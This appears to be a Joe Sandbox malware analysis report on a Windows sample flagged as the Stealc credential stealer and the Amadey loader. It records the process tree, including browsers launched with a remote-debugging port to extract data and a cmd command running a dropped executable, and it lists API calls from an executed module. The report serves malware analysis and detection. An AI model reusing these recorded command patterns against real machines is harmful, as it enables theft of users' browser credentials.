2024-11-20 13:43:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Target ID:	0
Start time:	08:43:04
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfe0000
File size:	1'814'528 bytes
MD5 hash:	1FB763B01E1FFA3AB02B53CE4B2A88FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2179309523.00000000057A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2697626234.0000000001B9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2695816091.0000000000FE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2697626234.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2695816091.00000000010AC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:43:15
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:43:16
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2172,i,16563569223138878126,8072281242689718067,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:43:26
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:43:26
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2356,i,896434487483437889,5900852296166254822,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:43:27
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:43:27
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:43:31
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:43:31
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6796 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	08:43:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:43:33
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7536 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:43:55
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	08:43:55
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:43:56
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsHIEHDHCFIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHIEHDHCFIJ.exe"
Imagebase:	0x9f0000
File size:	1'843'712 bytes
MD5 hash:	333366F899B1211C3259144ABEB6E7D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2737756534.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2690378661.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	08:43:59
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x9f0000
File size:	1'843'712 bytes
MD5 hash:	333366F899B1211C3259144ABEB6E7D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2776810229.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2735013665.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	08:44:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9f0000
File size:	1'843'712 bytes
MD5 hash:	333366F899B1211C3259144ABEB6E7D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2738131826.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2778829267.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	08:44:27
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6752 --field-trial-handle=1944,i,15131678784192994985,8592159304647755750,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	08:45:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x9f0000
File size:	1'843'712 bytes
MD5 hash:	333366F899B1211C3259144ABEB6E7D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.3327619249.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.3405500628.00000000009F1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C98F688,00001000), ref: 6C9035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C90363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C90369F
__aulldiv.LIBCMT ref: 6C9036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C903773
EnterCriticalSection.KERNEL32(6C98F688), ref: 6C90377E
LeaveCriticalSection.KERNEL32(6C98F688), ref: 6C9037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9037C4
EnterCriticalSection.KERNEL32(6C98F688), ref: 6C9037CB
LeaveCriticalSection.KERNEL32(6C98F688), ref: 6C903801
__aulldiv.LIBCMT ref: 6C903883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C903902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C903918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C90394C

Strings

GenuntelineI, xrefs: 6C903639
QPC, xrefs: 6C9038FC
AuthcAMDenti, xrefs: 6C903946
MOZ_TIMESTAMP_MODE, xrefs: 6C9035DB
GTC, xrefs: 6C903912

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: f07ed635e3f29618c7295b7b246b3e6d7f9f3784dcb62468a2f958b1fd4bb77a
Instruction ID: 58bd107f3a5d9f8787e4e3aaaaae5bc00c17b6630852239e42a2a9004a6f6a4c
Opcode Fuzzy Hash: f07ed635e3f29618c7295b7b246b3e6d7f9f3784dcb62468a2f958b1fd4bb77a
Instruction Fuzzy Hash: E7B19075B0A3149FDB08DF28C855A1A7BF9BB8B704F248E2DE899D3754D730D9008B91

Function 6C91C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C91C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C91C969
GetSystemInfo.KERNEL32(?), ref: 6C91C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C91C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C91C9E2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: fdb5a620a9e649654e59267496f58574cdd9a237e899e765787a9eba8c97c8c4
Instruction ID: a4a89a35b74b4745ea290f3a59d0ed6a9b566280038adbc6b0a28a25a56eb77f
Opcode Fuzzy Hash: fdb5a620a9e649654e59267496f58574cdd9a237e899e765787a9eba8c97c8c4
Instruction Fuzzy Hash: 3321FF3274A6186BDB146A64DC85BBE73B9AB47744F600529F907E7F40DB70DC04C791

Function 6C903060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C903095

Part of subcall function 6C9035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C98F688,00001000), ref: 6C9035D5
Part of subcall function 6C9035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9035E0
Part of subcall function 6C9035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9035FD
Part of subcall function 6C9035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C90363F
Part of subcall function 6C9035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C90369F
Part of subcall function 6C9035A0: __aulldiv.LIBCMT ref: 6C9036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C90309F

Part of subcall function 6C925B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9256EE,?,00000001), ref: 6C925B85
Part of subcall function 6C925B50: EnterCriticalSection.KERNEL32(6C98F688,?,?,?,6C9256EE,?,00000001), ref: 6C925B90
Part of subcall function 6C925B50: LeaveCriticalSection.KERNEL32(6C98F688,?,?,?,6C9256EE,?,00000001), ref: 6C925BD8
Part of subcall function 6C925B50: GetTickCount64.KERNEL32 ref: 6C925BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9030BE

Part of subcall function 6C9030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C903127
Part of subcall function 6C9030F0: __aulldiv.LIBCMT ref: 6C903140

Part of subcall function 6C93AB2A: __onexit.LIBCMT ref: 6C93AB30

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b646ce31c79f48739a1e74b85b3391d8fd5800f37cce96abcd1d4640d7f253fc
Instruction ID: bf6fa461fa73486b7a7fd030b3a8ef699c20ca7f5df2512a352e9fd6b60cdfd4
Opcode Fuzzy Hash: b646ce31c79f48739a1e74b85b3391d8fd5800f37cce96abcd1d4640d7f253fc
Instruction Fuzzy Hash: 3FF0F912E3AB4CD6CB10DF7488415E67370AF7B218F302B1DE88857561FB20A1D88382

Non-executed Functions

Function 6C915440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C915492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9154A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9154BE
__Init_thread_footer.LIBCMT ref: 6C9154DB

Part of subcall function 6C93AB3F: EnterCriticalSection.KERNEL32(6C98E370,?,?,6C903527,6C98F6CC,?,?,?,?,?,?,?,?,6C903284), ref: 6C93AB49
Part of subcall function 6C93AB3F: LeaveCriticalSection.KERNEL32(6C98E370,?,6C903527,6C98F6CC,?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93AB7C

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9154F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C915516
GetCurrentThreadId.KERNEL32 ref: 6C91556A
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C915577
moz_xmalloc.MOZGLUE(00000070), ref: 6C915585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C915590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9155E6
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C915606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C915616

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

GetCurrentThreadId.KERNEL32 ref: 6C91563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C915646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C91567C
free.MOZGLUE(?), ref: 6C9156AE

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9156E8
GetCurrentThreadId.KERNEL32 ref: 6C915707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C91570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C915729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C91574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C91576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C915796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9157B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9157CA

Strings

GeckoMain, xrefs: 6C915554, 6C9155D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C915AC9
[I %d/%d] profiler_init, xrefs: 6C91564E
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9154A3
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C91548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C91584E
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C915749
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9157AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C915BBE
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C915D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9156E3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C915CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C915B38
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C915D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C915791
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C915724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9157C5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C915717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C915D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C915C56
MOZ_PROFILER_STARTUP, xrefs: 6C9155E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9154B9
MOZ_BASE_PROFILER_HELP, xrefs: 6C915511
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C915766
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C915D1C

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
